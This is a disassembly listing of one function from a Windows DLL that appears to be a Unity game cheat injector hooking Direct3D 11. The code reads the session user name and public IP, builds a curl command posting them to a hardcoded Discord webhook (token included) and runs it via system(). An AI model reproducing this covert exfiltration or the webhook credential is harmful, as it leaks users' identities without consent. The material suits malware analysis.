Function at 0x18004adb0
Capabilities:
Download url
Enumerate gui resources
Execute command
Get session user name
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r13
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
lea rdx, [rbp + 0x268]
mov dword [rbp + 0x268], 0x101
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor esi, esi
mov edx, 0x80
mov qword [rbp + 0x48], rsi
call fcn.18004d700
movaps xmm0, xmmword [str.https:__discord.com_api_webhooks_1149999360025833534_KDTaJcKvc220YsjuSiRlO4yz6oxY_vnIIEsI06unYJY5kD_WYe4M1wbcg14EPbIVF8OW]
mov r13, rax
mov qword [rbp + 0x40], rax
mov rdi, 0xffffffffffffffff
mov qword [rbp + 0x50], 0x79
movups xmmword [rax], xmm0
mov qword [rbp + 0x58], 0x7f
movaps xmm1, xmmword [0x18019d780]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x18019d790]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x18019d7a0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x18019d7b0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x18019d7c0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x18019d7d0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x18019d7e0]
movsd qword [rax + 0x70], xmm0
xorps xmm0, xmm0
movzx eax, byte [0x18019d7e8]
mov byte [r13 + 0x78], al
lea rax, [rbp + 0xe0]
mov byte [r13 + 0x79], sil
movups xmmword [rbp + 0x20], xmm0
nop dword [rax]
inc rdi
cmp byte [rax + rdi], sil
jne 0x18004ae90
movabs r15, 0x7fffffffffffffff
cmp rdi, r15
ja 0x18004c0da
mov qword [rsp + 0x328], rbx
mov eax, 0x16
mov qword [rsp + 0x318], r14
cmp rdi, 0x10
jae 0x18004af00
mov r8, rdi
mov qword [rbp + 0x30], rdi
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0x38], 0xf
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x20], sil
mov rbx, qword [rbp + 0x20]
mov r14, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x30]
mov qword [rbp + 0x90], rbx
jmp 0x18004af4d
mov r14, rdi
or r14, 0xf
cmp r14, r15
jbe 0x18004af11
mov r14, r15
jmp 0x18004af18
cmp r14, rax
cmovb r14, rax
lea rdx, [r14 + 1]
call fcn.18004d700
mov r8, rdi
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0x20], rax
mov rcx, rax
mov qword [rbp + 0x30], rdi
mov rbx, rax
mov qword [rbp + 0x38], r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], sil
mov edx, 0x20
mov qword [rbp - 0x18], rsi
call fcn.18004d700
movups xmm1, xmmword [str.https:__myexternalip.com_raw]
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x18019fd00]
movdqu xmmword [rbp - 0x10], xmm0
movups xmmword [rax], xmm1
movsd xmm0, qword [0x18019d800]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x18019d808]
mov dword [rax + 0x18], ecx
lea rcx, [rbp + 0xb8]
mov byte [rax + 0x1c], sil
call fcn.18004a840
mov rax, r15
sub rax, rdi
mov qword [rbp + 0x270], rax
cmp rax, 0x76
jb 0x18004c0e0
mov qword [rsp + 0x320], r12
lea r15, [rdi + 0x76]
cmp r14, 0x10
lea r12, [rbp + 0x20]
xorps xmm0, xmm0
lea rsi, [rbp]
cmovae r12, rbx
xorps xmm1, xmm1
mov ebx, 0xf
movabs rcx, 0x8000000000000000
movups xmmword [rbp], xmm0
movdqu xmmword [rbp + 0x10], xmm1
cmp r15, rbx
jbe 0x18004b070
mov rbx, r15
movabs rax, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rax
jbe 0x18004b032
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1800fbb44
test rax, rax
je 0x18004b5d9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x18004b06c
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18004b05b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18004c0ce
jmp 0x18004b013
test rcx, rcx
je 0x18004b06a
call fcn.1800fbb44
mov rsi, rax
jmp 0x18004b06c
xor esi, esi
mov qword [rbp], rsi
movaps xmm0, xmmword [str.curl___data__usernameNeverBlast.cc_LOG___Successcontent___Inject_type:_:green_circle:Success__:man_standing:User__]
lea rcx, [rsi + 0x76]
mov qword [rbp + 0x10], r15
mov r8, rdi
mov qword [rbp + 0x18], rbx
mov rdx, r12
movups xmmword [rsi], xmm0
movaps xmm1, xmmword [0x18019d850]
movups xmmword [rsi + 0x10], xmm1
movaps xmm0, xmmword [0x18019d860]
movups xmmword [rsi + 0x20], xmm0
movaps xmm1, xmmword [0x18019d870]
movups xmmword [rsi + 0x30], xmm1
movaps xmm0, xmmword [0x18019d880]
movups xmmword [rsi + 0x40], xmm0
movaps xmm1, xmmword [0x18019d890]
movups xmmword [rsi + 0x50], xmm1
movaps xmm0, xmmword [0x18019d8a0]
movups xmmword [rsi + 0x60], xmm0
mov eax, dword [0x18019d8b0]
mov dword [rsi + 0x70], eax
movzx eax, word [0x18019d8b4]
mov word [rsi + 0x74], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x18004b137
cmp rdx, 0x10
lea rax, [rcx + 0x15]
lea rbx, [rbp]
mov qword [rbp + 0x10], rax
cmovae rbx, qword [rbp]
lea rdx, str.__:man_detective:IP:
add rbx, rcx
mov r8d, 0x15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp]
mov byte [rbx + 0x15], 0
jmp 0x18004b155
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp]
call fcn.18004ed20
mov r15, qword [rbp + 0xc8]
lea r9, [rbp + 0xb8]
xor r12d, r12d
xorps xmm0, xmm0
cmp qword [rbp + 0xd0], 0x10
movups xmmword [rbp - 0x40], xmm0
cmovae r9, qword [rbp + 0xb8]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x30]
mov rax, rcx
sub rax, rsi
cmp r15, rax
ja 0x18004b1e8
cmp rcx, 0x10
lea rax, [rsi + r15]
lea rbx, [rbp - 0x40]
mov qword [rbp - 0x30], rax
cmovae rbx, qword [rbp - 0x40]
mov r8, r15
mov rdx, r9
lea rcx, [rbx + rsi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rsi]
mov byte [rax + r15], r12b
lea rax, [rbp - 0x40]
jmp 0x18004b200
mov rdx, r15
mov qword [rsp + 0x20], r15
lea rcx, [rbp - 0x40]
call fcn.18004ed20
mov r15, qword [rbp + 0xc8]
mov qword [rbp - 0x50], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x18004b278
cmp rdx, 0x10
lea rax, [rcx + 0xc]
lea rbx, [rbp - 0x60]
mov qword [rbp - 0x50], rax
cmovae rbx, qword [rbp - 0x60]
lea rdx, str.avatar_url
add rbx, rcx
mov r8d, 0xc
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp - 0x60]
mov byte [rbx + 0xc], r12b
jmp 0x18004b296
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp - 0x60]
call fcn.18004ed20
mov qword [rsp + 0x70], r12
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov r8d, 0x2022
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
cmp qword [rsp + 0x78], 0x10
mov rax, qword [rsp + 0x70]
cmovae rcx, qword [rsp + 0x60]
mov byte [rcx + rax], r12b
movups xmm1, xmmword [rsp + 0x70]
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x78], 0xf
movq rcx, xmm1
mov byte [rsp + 0x60], r12b
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 8
movq rdx, xmm1
mov rax, rdx
sub rax, rcx
movups xmmword [rbp - 0x20], xmm0
cmp rax, 2
jb 0x18004b34d
lea rax, [rcx + 2]
cmp rdx, 0x10
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx], r8w
mov byte [rax + rcx + 2], r12b
lea rax, [rbp - 0x20]
jmp 0x18004b36b
lea r9, [0x18019d810]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp - 0x20]
call fcn.18004ed20
mov qword [rbp - 0x70], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x79
jb 0x18004b3dd
mov r8, qword [rbp + 0x50]
lea rax, [rcx + 0x79]
cmp rdx, 0x10
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
mov rdx, r13
cmovae rbx, qword [rbp - 0x80]
add rbx, rcx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp - 0x80]
mov byte [rbx + 0x79], r12b
jmp 0x18004b3f6
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp - 0x80]
mov r9, r13
mov qword [rsp + 0x20], rdx
call fcn.18004ed20
mov r13, qword [rbp + 0x40]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x98], xmm0
movdqu xmmword [rbp + 0xa8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18004b46a
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b465
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004b5d9
call fcn.1800fbf00
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
cmp rdx, 0x10
jb 0x18004b4b5
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b4b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004b5d9
call fcn.1800fbf00
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r12b
cmp rdx, 0x10
jb 0x18004b502
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b4fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004b5d9
call fcn.1800fbf00
mov rdx, qword [rbp - 0x48]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], r12b
cmp rdx, 0x10
jb 0x18004b550
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b54b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004b5d9
call fcn.1800fbf00
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r12b
cmp rdx, 0x10
jb 0x18004b597
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b592
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004b5d9
call fcn.1800fbf00
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r12b
cmp rdx, 0x10
jb 0x18004b5e5
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004b5e0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18004b5e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800fbf00
cmp qword [rbp + 0x270], 0x78
jb 0x18004c0c8
cmp r14, 0x10
lea rax, [rbp + 0x20]
lea r12, [rdi + 0x78]
mov ebx, 0xf
cmovae rax, qword [rbp + 0x90]
lea rsi, [rbp]
mov qword [rbp + 0x270], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp], xmm0
movdqu xmmword [rbp + 0x10], xmm1
cmp r12, rbx
jbe 0x18004b6c1
mov rbx, r12
movabs rcx, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rcx
jbe 0x18004b67c
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.1800fbb44
test rax, rax
je 0x18004bc1a
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rbp + 0x270]
jmp 0x18004b6bd
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18004b6a5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18004c0d4
jmp 0x18004b656
test rcx, rcx
je 0x18004b6bb
call fcn.1800fbb44
mov rsi, rax
mov rax, qword [rbp + 0x270]
jmp 0x18004b6bd
xor esi, esi
mov qword [rbp], rsi
movaps xmm0, xmmword [str.curl___data__usernameNeverBlast.cc_LOG____Failedcontent___Inject_type:_:warning:Version_Failed__:man_standing:User__]
lea rcx, [rsi + 0x78]
mov qword [rbp + 0x10], r12
mov r8, rdi
mov qword [rbp + 0x18], rbx
mov rdx, rax
movups xmmword [rsi], xmm0
movaps xmm1, xmmword [0x18019d8d0]
movups xmmword [rsi + 0x10], xmm1
movaps xmm0, xmmword [0x18019d8e0]
movups xmmword [rsi + 0x20], xmm0
movaps xmm1, xmmword [0x18019d8f0]
movups xmmword [rsi + 0x30], xmm1
movaps xmm0, xmmword [0x18019d900]
movups xmmword [rsi + 0x40], xmm0
movaps xmm1, xmmword [0x18019d910]
movups xmmword [rsi + 0x50], xmm1
movaps xmm0, xmmword [0x18019d920]
movups xmmword [rsi + 0x60], xmm0
movsd xmm0, qword [0x18019d930]
movsd qword [rsi + 0x70], xmm0
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r12], 0
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov rax, r9
sub rax, rcx
cmp rax, 0x15
jb 0x18004b781
lea rax, [rcx + 0x15]
cmp r9, 0x10
lea rbx, [rbp]
mov qword [rbp + 0x10], rax
cmovae rbx, qword [rbp]
lea rdx, str.__:man_detective:IP:
add rbx, rcx
mov r8d, 0x15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp]
mov byte [rbx + 0x15], 0
jmp 0x18004b79f
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp]
call fcn.18004ed20
mov r12, qword [rbp + 0xd0]
lea r9, [rbp + 0xb8]
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
cmp r12, 0x10
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
cmovae r9, qword [rbp + 0xb8]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rcx, qword [rbp - 0x68]
mov rdi, qword [rbp - 0x70]
mov rax, rcx
sub rax, rdi
cmp r15, rax
ja 0x18004b82e
cmp rcx, 0x10
lea rax, [rdi + r15]
lea rbx, [rbp - 0x80]
mov qword [rbp - 0x70], rax
cmovae rbx, qword [rbp - 0x80]
mov r8, r15
mov rdx, r9
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + r15]
xor ebx, ebx
mov byte [rax + rdi], 0
lea rax, [rbp - 0x80]
jmp 0x18004b846
mov rdx, r15
mov qword [rsp + 0x20], r15
lea rcx, [rbp - 0x80]
call fcn.18004ed20
mov r12, qword [rbp + 0xd0]
mov qword [rbp - 0x50], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x18004b8c0
cmp rdx, 0x10
lea rax, [rcx + 0xc]
lea rbx, [rbp - 0x60]
mov qword [rbp - 0x50], rax
cmovae rbx, qword [rbp - 0x60]
lea rdx, str.avatar_url
add rbx, rcx
mov r8d, 0xc
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
lea rax, [rbp - 0x60]
xor ebx, ebx
jmp 0x18004b8de
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp - 0x60]
call fcn.18004ed20
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rsp + 0x78], 0x10
mov rax, qword [rsp + 0x70]
cmovae rcx, qword [rsp + 0x60]
mov byte [rcx + rax], 0
movups xmm1, xmmword [rsp + 0x70]
mov qword [rsp + 0x70], rbx
movups xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x78], 0xf
movq rcx, xmm1
mov byte [rsp + 0x60], 0
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 8
movq rdx, xmm1
mov rax, rdx
sub rax, rcx
movups xmmword [rbp - 0x20], xmm0
cmp rax, 2
jb 0x18004b993
lea rax, [rcx + 2]
cmp rdx, 0x10
mov qword [rbp - 0x10], rax
mov edx, 0x2022
lea rax, [rbp - 0x20]
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx], dx
mov byte [rax + rcx + 2], 0
lea rax, [rbp - 0x20]
jmp 0x18004b9b1
lea r9, [0x18019d810]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp - 0x20]
call fcn.18004ed20
mov r15, qword [rbp + 0x58]
lea r9, [rbp + 0x40]
mov rsi, qword [rbp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
cmp r15, 0x10
mov qword [rbp - 0x28], rbx
movups xmm0, xmmword [rax]
cmovae r9, r13
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x30]
mov rax, rcx
sub rax, rdi
cmp rsi, rax
ja 0x18004ba39
cmp rcx, 0x10
lea rax, [rdi + rsi]
lea rbx, [rbp - 0x40]
mov qword [rbp - 0x30], rax
cmovae rbx, qword [rbp - 0x40]
mov r8, rsi
mov rdx, r9
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
xor ebx, ebx
mov byte [rax + rsi], 0
lea rax, [rbp - 0x40]
jmp 0x18004ba52
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp - 0x40]
call fcn.18004ed20
mov r13, qword [rbp + 0x40]
mov r15, qword [rbp + 0x58]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x28]
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm1
cmp rdx, 0x10
jb 0x18004baab
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004baa6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004bc1a
call fcn.1800fbf00
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
cmp rdx, 0x10
jb 0x18004baf6
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004baf1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004bc1a
call fcn.1800fbf00
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
cmp rdx, 0x10
jb 0x18004bb43
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bb3e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004bc1a
call fcn.1800fbf00
mov rdx, qword [rbp - 0x48]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp rdx, 0x10
jb 0x18004bb91
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bb8c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004bc1a
call fcn.1800fbf00
mov rdx, qword [rbp - 0x68]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
cmp rdx, 0x10
jb 0x18004bbd8
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bbd3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004bc1a
call fcn.1800fbf00
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0x10
jb 0x18004bc26
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bc21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18004bc21
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800fbf00
cmp qword [rbp + 0xb0], 0x10
lea rcx, [rbp + 0x98]
movaps xmmword [rsp + 0x300], xmm6
cmovae rcx, qword [rbp + 0x98]
movaps xmmword [rsp + 0x2f0], xmm7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm7, xmmword [0x1801a0410]
mov edx, 0x20
movaps xmm6, xmmword [0x1801a0310]
mov qword [rbp - 0x18], rbx
call fcn.18004d700
movups xmm1, xmmword [str.Loaded__have_a_nice_day_]
lea r9, [rsp + 0x60]
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x18019fcf0]
lea r8, [rbp - 0x80]
movups xmmword [rax], xmm1
lea rdx, [rbp - 0x20]
mov word [rbp + 0x4e], 0
movdqu xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x40]
movsd xmm0, qword [0x18019d950]
movsd qword [rax + 0x10], xmm0
movdqa xmm0, xmmword [0x18019fcb0]
mov byte [rax + 0x18], 0
mov eax, dword [0x18019d968]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x48], eax
movsd xmm0, qword [str.Initialization]
movzx eax, word [0x18019d96c]
movsd qword [rbp + 0x40], xmm0
mov word [rbp + 0x4c], ax
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmmword [rbp - 0x80], xmm6
call fcn.180023100
lea rcx, str.GameAssembly.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.UnityPlayer.dll
mov qword [0x18020f450], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.180010750
call fcn.1800110f0
call fcn.180012720
call fcn.18000cef0
call fcn.180013560
call fcn.1800142b0
mov rax, qword [0x18020f440]
movaps xmm7, xmmword [rsp + 0x2f0]
movaps xmm6, xmmword [rsp + 0x300]
test rax, rax
jne 0x18004bd70
nop dword [rax + rax]
lea rdx, [0x18020f440]
lea rcx, [0x18004a7f0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [0x18020f440]
test rax, rax
je 0x18004bd50
mov qword [rbp + 0x70], rax
xor r9d, r9d
lea rax, [rbp - 0x80]
mov qword [rbp + 0x278], rbx
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea edx, [r9 + 1]
lea rax, [rbp + 0x278]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x40], rax
xor ecx, ecx
lea rax, [rbp + 0x40]
mov qword [rbp - 0x80], rbx
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x270]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x270], 0xb000
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rbx
mov dword [rbp + 0x60], ebx
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x50], 0x1c
mov dword [rbp + 0x64], 0x20
mov dword [rbp + 0x5c], 1
mov qword [rbp + 0x78], 1
mov dword [rbp + 0x58], ebx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jns 0x18004be49
mov r9d, 0x10
lea r8, str.Failure
lea rdx, str.Failed_to_create_D3D11_device_and_swap_chain
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x18004bf01
mov rax, qword [rbp + 0x278]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x40]
mov qword [0x18020f650], rax
mov rax, qword [rcx + 0x68]
mov rcx, qword [rbp - 0x80]
mov qword [0x18020f678], rax
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x278]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x18020f440]
lea r8, [0x180049d80]
mov edx, 0xfffffffc
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [0x18020f600], rax
call fcn.1800904a0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.1800909d0
